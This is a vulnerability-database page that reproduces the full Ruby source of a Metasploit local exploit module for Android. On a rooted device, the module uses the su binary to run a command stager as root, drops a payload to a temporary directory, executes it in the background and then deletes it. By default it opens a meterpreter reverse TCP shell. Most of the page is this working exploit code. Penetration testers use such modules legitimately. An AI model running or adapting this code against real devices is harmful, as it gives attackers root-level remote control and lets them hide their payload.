Lucene search
K

Android 'su' Privilege Escalation

🗓️ 06 May 2018 06:16:46Reported by timwrType 
metasploit
 metasploit
🔗 www.rapid7.com👁 19 Views

Android 'su' privilege escalation vulnerabilit

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking

  include Msf::Exploit::CmdStager
  include Msf::Post::File
  include Msf::Post::Android::Priv

  def initialize(info={})
    super( update_info( info, {
      'Name'           => "Android 'su' Privilege Escalation",
      'Description'    => %q{
          This module uses the su binary present on rooted devices to run
          a payload as root.

          A rooted Android device will contain a su binary (often linked with
          an application) that allows the user to run commands as root.
          This module will use the su binary to execute a command stager
          as root. The command stager will write a payload binary to a
          temporary directory, make it executable, execute it in the background,
          and finally delete the executable.

          On most devices the su binary will pop-up a prompt on the device
          asking the user for permission.
      },
      'Author'         => 'timwr',
      'License'        => MSF_LICENSE,
      'DisclosureDate' => '2017-08-31',
      'SessionTypes'   => [ 'meterpreter', 'shell' ],
      'Platform'       => [ 'android', 'linux' ],
      'Arch'           => [ ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE ],
      'Targets'        => [
        ['aarch64',{'Arch' => ARCH_AARCH64}],
        ['armle',  {'Arch' => ARCH_ARMLE}],
        ['x86',    {'Arch' => ARCH_X86}],
        ['x64',    {'Arch' => ARCH_X64}],
        ['mipsle', {'Arch' => ARCH_MIPSLE}]
      ],
      'DefaultOptions' => {
        'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp',
        'WfsDelay' => 5,
      },
      'DefaultTarget'  => 0,
      }
    ))
    register_options([
      OptString.new('SU_BINARY', [true, 'The su binary to execute to obtain root', 'su']),
      OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/']),
    ])
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def su_bin
    datastore['SU_BINARY'].to_s
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    linemax = 4088 - su_bin.size
    execute_cmdstager({
      flavor: :echo,
      enc_format: :octal,
      prefix: '\\\\0',
      temp: base_dir,
      linemax: linemax,
      background: true,
    })
  end

  def execute_command(cmd, opts)
    su_cmd = "#{su_bin} -c '#{cmd}'"
    cmd_exec(su_cmd)
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation